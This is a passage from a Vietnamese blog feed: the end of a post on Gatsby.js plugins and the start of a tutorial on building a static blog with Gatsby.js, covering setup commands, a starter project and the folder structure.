gatsby-plugin-catch-links</h2> <p>Như trong bài viết trước, mình cũng đã trình bày về tác dụng của việc sử dụng <em>Link</em> component thay vì thẻ <em>a</em>. Việc sử dụng component này giúp bạn di chuyển giữa các trang thuộc trang web mà không cần phải reload lại trình duyệt. Qua đó, người dùng sẽ thấy trang web hoạt động nhanh hơn.</p> <p>Tuy nhiên, bạn sẽ không thể sử dụng <em>Link</em> component trong file Markdown được. Do đó, plugin này sẽ làm nhiệm vụ tự động tìm kiếm những link nội bộ trong file Markdown và giúp chúng hoạt động tương tự như khi bạn sử dụng <em>Link</em> component vậy.</p> <ul> <li>Mức độ: tuỳ chọn</li> <li>Cài đặt: <code>npm install --save gatsby-plugin-catch-links</code></li> <li>Cách sử dụng: xem tại <a href="https://www.gatsbyjs.org/packages/gatsby-plugin-catch-links/?=gatsby-plugin-catch-links#how-to-use">đây</a></li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số plugin Gatsby.js hay dùng. Với những plugin này, bạn có thể tạo nên một blog tương đối hoàn chỉnh như mình đã làm với: <a href="https://phamvanlam.com">Lam Pham Blog</a> và <a href="https://thuattoan.phamvanlam.com">Ôn luyện thuật toán</a>. Nếu có plugin nào chưa hiểu thì bạn có thể hỏi mình bằng cách để lại bình luận phía dưới. Mình sẽ cố gắng giải đáp.</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Tạo trang blog với Gatsby.js]]><![CDATA[Xin chào bạn! Như vậy là đã qua hơn 2 tháng mình học và thực hành React với các project như: Markdown Editor, Drum Machine, Standard Calculator, Pomodoro Clock,... Với những thứ…]]>https://completejavascript.com/tao-trang-blog-voi-gatsby-js/https://completejavascript.com/tao-trang-blog-voi-gatsby-js/<![CDATA[Command Line]]><![CDATA[Gatsby.js]]><![CDATA[Node.js]]>Tue, 08 Jan 2019 11:50:24 GMT<p>Xin chào bạn! Như vậy là đã qua hơn 2 tháng mình học và thực hành React với các project như: <a href="http://about.phamvanlam.com/markdown-editor/">Markdown Editor</a>, <a href="http://about.phamvanlam.com/drum-machine/">Drum Machine</a>, <a href="http://about.phamvanlam.com/calculator/">Standard Calculator</a>, <a href="http://about.phamvanlam.com/pomodoro-clock/">Pomodoro Clock</a>,... Với những thứ mình đã học và thực hành thì có lẽ là chưa đủ, nhưng hiện tại mình cảm thấy khá thoải mái, tự tin khi viết code React. Do đó, mình muốn bắt tay vào học những những công cụ, thư viện hay framework sử dụng React để có thể làm thêm được nhiều thứ hay ho hơn nữa. Và cái mình chọn đầu tiên đó là <a href="https://www.gatsbyjs.org/">Gatsby.js</a>. Nhờ vậy, mình đã chuyển 2 blog khác của mình từ <a href="https://wordpress.org/">Wordpress.org</a> sang sử dụng Gatsby.js, đó là: <a href="https://phamvanlam.com/">Lam Pham Blog</a> và <a href="https://thuattoan.phamvanlam.com/">Ôn luyện thuật toán</a>. Bài viết này, mình sẽ tổng hợp lại những kiến thức tích luỹ được, qua đó giúp bạn biết cách tạo trang blog với Gatsby.js và thậm chí là nhiều static website khác nữa.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="những-kiến-thức-cần-thiết-trước-khi-tạo-trang-blog-với-gatsbyjs" style="position:relative;"><a href="#nh%E1%BB%AFng-ki%E1%BA%BFn-th%E1%BB%A9c-c%E1%BA%A7n-thi%E1%BA%BFt-tr%C6%B0%E1%BB%9Bc-khi-t%E1%BA%A1o-trang-blog-v%E1%BB%9Bi-gatsbyjs" aria-label="những kiến thức cần thiết trước khi tạo trang blog với gatsbyjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những kiến thức cần thiết trước khi tạo trang blog với Gatsby.js</h2> <p>Trước khi bắt đầu tạo trang blog với Gatsby.js, có một số kiến thức cơ bản mà bạn cần phải nắm vững như:</p> <ul> <li><a href="https://www.tutorialspoint.com/html/">HTML</a> và <a href="https://www.tutorialspoint.com/css/">CSS</a>.</li> <li><a href="/javascript/">JavaScript cơ bản</a>.</li> <li>Một số đặc điểm cơ bản của <a href="/tag/es6/">ES6</a>.</li> <li>Những tư tưởng chính của <a href="https://www.taniarascia.com/getting-started-with-react/">React</a>.</li> <li>Cú pháp <a href="https://guides.github.com/features/mastering-markdown/">Markdown</a> cơ bản</li> <li><a href="https://www.taniarascia.com/how-to-install-and-use-node-js-and-npm-mac-and-windows/">Node.js và npm</a>.</li> </ul> <p><em>Đây là những kiến thức cơ bản và nền tảng. Nếu như bạn đã thành thạo chúng thì khi học một thư viện hay framework mới sẽ rất dễ dàng.</em></p> <h2 id="mục-đích-của-bài-viết" style="position:relative;"><a href="#m%E1%BB%A5c-%C4%91%C3%ADch-c%E1%BB%A7a-b%C3%A0i-vi%E1%BA%BFt" aria-label="mục đích của bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mục đích của bài viết</h2> <p>Bài viết này giúp bạn:</p> <ul> <li>Xây dựng được trang blog với Gatsby.js dạng static website bao gồm: trang chủ (liệt kê danh sách bài viết), trang giới thiệu, trang liên hệ, phân loại bài viết theo chuyên mục, thẻ và hiển thị nội dung mỗi bài viết...</li> <li>Deploy blog lên Netlify.</li> </ul> <a href="https://github.com/completejavascript/gatsby-tutorial" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="https://gatsby-tutorial-demo.netlify.com/" class="btn btn-primary margin-bottom"> Xem Demo </a> <h2 id="cách-theo-dõi-bài-viết-tốt-nhất" style="position:relative;"><a href="#c%C3%A1ch-theo-d%C3%B5i-b%C3%A0i-vi%E1%BA%BFt-t%E1%BB%91t-nh%E1%BA%A5t" aria-label="cách theo dõi bài viết tốt nhất permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách theo dõi bài viết tốt nhất</h2> <p>Đây là một bài viết khá dài. Vì vậy, cách tốt nhất để theo dõi là bạn nên vừa đọc và vừa làm theo những gì mình chia sẻ. Nếu chỉ đọc xuông thì bạn sẽ rất khó để hiểu và nhớ được mọi thứ.</p> <h2 id="gatsbyjs-là-gì" style="position:relative;"><a href="#gatsbyjs-l%C3%A0-g%C3%AC" aria-label="gatsbyjs là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gatsby.js là gì?</h2> <ul> <li>Gatsby.js là một framework khá nổi tiếng với hơn <a href="https://github.com/gatsbyjs/gatsby">25.000 stars trên Github</a>.</li> <li>Gatsby.js là một <a href="https://www.staticgen.com/">site generator</a> tương tự như <a href="https://jekyllrb.com/">Jekyll</a>, <a href="https://nextjs.org/">Next.js</a>, <a href="https://gohugo.io/">Hugo</a>,...</li> <li>Gatsby.js sử dụng <a href="/javascript-la-gi/">ngôn ngữ JavaScript</a> với template là <a href="/lam-tuong-tai-hai-ve-react/">React</a>.</li> <li>Gatsby.js có thể được sử dụng để xây dựng trang blog, <a href="https://about.phamvanlam.com/">portfolio</a>, trang thương mại điện tử, Static PWA (Progressive Web Apps),...</li> <li>Gatsby.js hỗ trợ nhiều plugins giúp bạn xây dựng và deploy trang web một cách nhanh chóng mà không cần phải triển khai database, cài đặt server.</li> <li>Gatsby.js có thể load dữ liệu từ nhiều nơi như: các file dạng Markdown, các CMS (<a href="https://www.contentful.com/">Contentful</a>, Wordpress), REST hay GraphQL API,...</li> </ul> <h2 id="cài-đặt-môi-trường-trước-khi-tạo-trang-blog-với-gatsbyjs" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-m%C3%B4i-tr%C6%B0%E1%BB%9Dng-tr%C6%B0%E1%BB%9Bc-khi-t%E1%BA%A1o-trang-blog-v%E1%BB%9Bi-gatsbyjs" aria-label="cài đặt môi trường trước khi tạo trang blog với gatsbyjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt môi trường trước khi tạo trang blog với Gatsby.js</h2> <p>Mục đích của Gatsby.js là build ra trang web dưới dạng các file tĩnh. Vì vậy, điều quan trọng cần làm trước tiên là phải cài đặt môi trường làm việc với những công cụ cần thiết.</p> <h3 id="cài-đặt-nodejs" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-nodejs" aria-label="cài đặt nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Node.js</h3> <p>Node.js là thứ không thể thiếu vì Gatsby được xây dựng dựa trên Node.js. Để cài đặt Node.js trên Windows, bạn có thể tham khảo bài viết <a href="/huong-dan-tim-hieu-node-js-co-ban/">hướng dẫn tìm hiểu Node.js cơ bản</a>.</p> <h3 id="cài-đặt-git" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-git" aria-label="cài đặt git permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Git</h3> <p>Git cũng là một thành phần không thể thiếu. Mình cần cài đặt Git để tạo mới Gatsby project và giúp quản lý code dễ dàng hơn trên Local cũng như trên Github. Để cài đặt Git trên Windows, bạn có thể tham khảo bài viết <a href="https://o7planning.org/vi/11707/huong-dan-cai-dat-va-cau-hinh-git-tren-windows">hướng dẫn cài đặt và cấu hình Git trên Windows</a>.</p> <h3 id="cài-đặt-gatsby-cli" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-gatsby-cli" aria-label="cài đặt gatsby cli permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Gatsby CLI</h3> <p>Gatsby CLI là công cụ cần thiết để tạo mới một trang blog với Gatsby.js, cũng như là chạy các câu lệnh phục vụ cho việc phát triển, <a href="/deploy-ung-dung-react-len-github-pages/">deploy</a> trang web. Để cài đặt Gatsby CLI bạn có thể sử dụng npm bằng <a href="/tag/command-line/">câu lệnh</a>:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --global gatsby-cli</code></pre></div> <p><em>Câu lệnh trên cài đặt Gatsby CLI ở phạm vi global. Nghĩa là bạn có thể sử dụng Gatsby ở bất kỳ vị trí nào trên máy tính của bạn.</em></p> <p>Sau khi cài đặt Gatsby CLI, bạn có thể kiểm tra xem việc cài đặt có thành công hay chưa bằng 2 câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ gatsby --version $ gatsby --help</code></pre></div> <h4 id="kiểm-tra-gatsby-cli-sau-khi-cài-đặt" style="position:relative;"><a href="#ki%E1%BB%83m-tra-gatsby-cli-sau-khi-c%C3%A0i-%C4%91%E1%BA%B7t" aria-label="kiểm tra gatsby cli sau khi cài đặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra Gatsby CLI sau khi cài đặt</h4> <p>Nếu việc cài đặt thành công thì câu lệnh <code>gatsby --version</code> sẽ in ra phiên bản của Gatsby CLI và câu lệnh <code>gatsby --help</code> sẽ in ra những câu lệnh mà Gatsby CLI hỗ trợ bạn như:</p> <ul> <li><code>gatsby develop</code>: dùng để tạo server cho quá trình dev, có hỗ trợ <strong>rebuild</strong> và hot-reload trình duyệt khi nội dung các file liên quan thay đổi.</li> <li><code>gatsby build</code>: build Gatsby project ra trang web dạng các file tĩnh.</li> <li><code>gatsby serve</code>: giả lập môi trường server cho trang web vừa mới build ra.</li> <li><code>gatsby info</code>: lấy thông tin của môi trường.</li> <li><code>gatsby new [rootPath] [starter]</code>: tạo mới Gatsby project tại vị trí <em>rootPath</em> bằng cách clone một project mẫu <em>starter</em>.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 68.48484848484848%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACb0lEQVQoz4WRyWsUQRjFv+p9q66uqq6e3qdnnMnELJNFgxoPHvxTBKNZZiaJGkQMgnoWCcSFYCBjLiIevBhUgqCiyV8lPWPiKfg7fFWX91W99+DJ9rutt5+e9w+e9b883Dlce/n97usf99/83uwfb+4dPeofbbz4emf788arwwc7357u/9r6cLz78ef+3vuD3T5cvHItS5M0y7K8mudFXi2iKM6yaq1Wx9g1Tcu2Hc+jLvG4LwzDlGRF1Q0AuNVdh7HJC9ixrRLTtizbtlRV0TTN0HWEEAz4e5wgSTIA3FxYhNm5y4zSKIqCIAjDKE1Sj5AwCg1DhzOQ5VLc7a3CyFibeoRSz7RMjLFHPdu2CSH/FS+t9KBoTQpOTcN0HEfX/wkQQlmWpWkihEjT1Pf9IAg496MozLIMIbi93IW8Mc6ZRxmrVCrDlaVVBEiSWqOj5+r1JEnjOE6SWAiBHUwIcV23fLmzCkVrKo4C7vuBCNAASZIGf1PSNMvzvDGgVhRxHIsg4D6PokhVlJXeOhStNrYt0zSHVhml5cXzDMPg3Oe+73MehiHnHGM83DtM+8bCErQmZ4XPCCEAUBZlma7rYowJKfWnETgOZoy5rjvY4iqyvNRZg7homobGGEMIOdil1PO80hd2MXZdxmiZAEKUUiEEIUT4wvPKLpY7PajkDUWWKWWqplFKGWeWbSNJkmXlJHYJIem0AwBgnDuOs9LpAQ4yANA1RVUkVZEHUzI01dC1s3rWNRUAljtdiGeui9pENDKbnZ+rTVxqTM2PTM+3ZsoZVlssLJJmO222WVQXeSuqjzenrzan5tPm9OK9x38A/YVggdhb1WcAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kiểm tra cài đặt Gatsby CLI" title="Kiểm tra cài đặt Gatsby CLI" src="/static/03c5e605dd238a189879171ffba09a11/7c811/gatsby-check-installation.png" srcset="/static/03c5e605dd238a189879171ffba09a11/103f2/gatsby-check-installation.png 165w, /static/03c5e605dd238a189879171ffba09a11/748ba/gatsby-check-installation.png 330w, /static/03c5e605dd238a189879171ffba09a11/7c811/gatsby-check-installation.png 660w, /static/03c5e605dd238a189879171ffba09a11/3c503/gatsby-check-installation.png 677w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="tạo-trang-blog-với-gatsbyjs-cơ-bản" style="position:relative;"><a href="#t%E1%BA%A1o-trang-blog-v%E1%BB%9Bi-gatsbyjs-c%C6%A1-b%E1%BA%A3n" aria-label="tạo trang blog với gatsbyjs cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo trang blog với Gatsby.js cơ bản</h3> <p>Như mình đã nói ở phần trên, Gatsby hỗ trợ bạn tạo mới Gatsby project từ một <em>starter</em> thông qua câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ gatsby new <span class="token punctuation">[</span>rootPath<span class="token punctuation">]</span> <span class="token punctuation">[</span>starter<span class="token punctuation">]</span></code></pre></div> <p>Trong đó, <em>starter</em> là các project mẫu mà bạn có thể tham khảo tại <a href="https://www.gatsbyjs.org/starters">Gatsby Starters</a>. Với khoảng trên 60 starters khác nhau bao gồm các loại như: blog cơ bản đến nâng cao, portfolio, hỗ trợ Contentful, <a href="/tag/wordpress/">Wordpress</a>, Firebase,... Nhờ vậy, bạn có thể dễ dàng lựa chọn một mẫu starter phù hợp, sau đó nhanh chóng tuỳ chỉnh nó theo sở thích và yêu cầu của mình, tương tự như <em>theme</em> của Wordpress hay <em>template</em> của Blogger.</p> <h4 id="tạo-gatsby-project-từ-hello-world-starter" style="position:relative;"><a href="#t%E1%BA%A1o-gatsby-project-t%E1%BB%AB-hello-world-starter" aria-label="tạo gatsby project từ hello world starter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo Gatsby project từ Hello-world starter</h4> <p>Việc sử dụng các starter nâng cao chỉ phù hợp khi mình đã thành thạo và hiểu rõ Gatsby.js rồi. Còn đối với người mời bắt đầu như mình, cần hiểu rõ về quy trình xây dựng Gatsby project, thì mình sẽ lựa chọn starter <em>Hello World</em> như sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ gatsby new gatsby-tutorial https://github.com/gatsbyjs/gatsby-starter-hello-world</code></pre></div> <p>Câu lệnh này sẽ tạo mới một thư mục tên là <em>gatsby-tutorial</em>. Sau đó, Gatsby CLI clone project từ Github tại địa chỉ: <a href="https://github.com/gatsbyjs/gatsby-starter-hello-world">https://github.com/gatsbyjs/gatsby-starter-hello-world</a> và đưa vào thư mục vừa tạo ra.</p> <p>Sau khi lệnh trên hoàn thành, bạn đi vào thư mục mới tạo ra <em>gatsby-tutorial</em>:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">cd</span> gatsby-tutorial</code></pre></div> <p>rồi chạy lệnh sau để tạo server cho quá trình develop:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ gatsby develop</code></pre></div> <p>Đợi lệnh trên hoàn tất, bạn mở trình duyệt và đi đến địa chỉ: <code>http://localhost:8000/</code> thì sẽ thấy trang blog với Gatsby.js đã được tạo ra thành công.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTElEQVQoz2OwsrSMi4tLBAM3N1d7e3tHR0d7Ozs7O1tzc3MWZmYuLi5OTk5ODg4QAgNBQUFJSUlRUREGXT09QyMjPT1dHx+ftevWbdqydd2GTZu2bN2zd/+evfvWrF2/bsPG9Rs2bNy0ecPGTevWb1i3YWNQUJCcnJySkhKDrLi4vLS0rJycqqpqaGh4XGx4YmJUbFxCUlJSXHxibk5ydnZ6SlpGRGRkZFR0TlZSVlaqoZGxtJSUiIgQQ0NN7czp06fPmDF3zpwJEyZOmdQ3c8bkKVOmTpkyZeLESdOm9E2dPGHCxInt7W2dnV1TJ/dOnTJh7ty5y5Ytmz9vLsONGzf//P37/cf3f//+/ScRMNy5c+f//////v37+/fvHxIBVPPfv3//kw4QNo9qJk7z7du3IaH9j3TAcO/ePfJtPnny5Js3b54/f/6CdAAAW5vjyxko1VYAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tạo mới Hello World Gatsby Project" title="Tạo mới Hello World Gatsby Project" src="/static/d65275766d3b73a8002edd06a9525777/21793/gatsby-hello-world.png" srcset="/static/d65275766d3b73a8002edd06a9525777/103f2/gatsby-hello-world.png 165w, /static/d65275766d3b73a8002edd06a9525777/748ba/gatsby-hello-world.png 330w, /static/d65275766d3b73a8002edd06a9525777/21793/gatsby-hello-world.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="cấu-trúc-thư-mục-của-gatsby-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-th%C6%B0-m%E1%BB%A5c-c%E1%BB%A7a-gatsby-project" aria-label="cấu trúc thư mục của gatsby project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc thư mục của Gatsby project</h4> <p>Nếu bạn nhìn vào thư mục <strong>gatsby-tutorial</strong> vừa mới tạo ra thì sẽ thấy các thư mục: <strong>/src, /.cache, /node_modules, /public</strong> và các tệp tin: <strong>.gitignore, package.json, package-lock.json, yarn.lock, README.md, LICENSE</strong>.</p> <p>Lúc này, bạn chỉ cần quan tâm đến thư mục /src. Vì bạn sẽ cần phải thêm file hay tuỳ chỉnh các file có trong thư mục này để tuỳ chỉnh giao diện trang blog với Gatsby.js.</p> <p>Để xem Gatsby project tự <strong>rebuild</strong> và <strong>hot-loading</strong> như thế nào, bạn mở file <strong>/src/pages/index.js</strong> với nội dung ban đầu là:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Hello world!</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span></code></pre></div> <p>Bạn sửa file này thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token 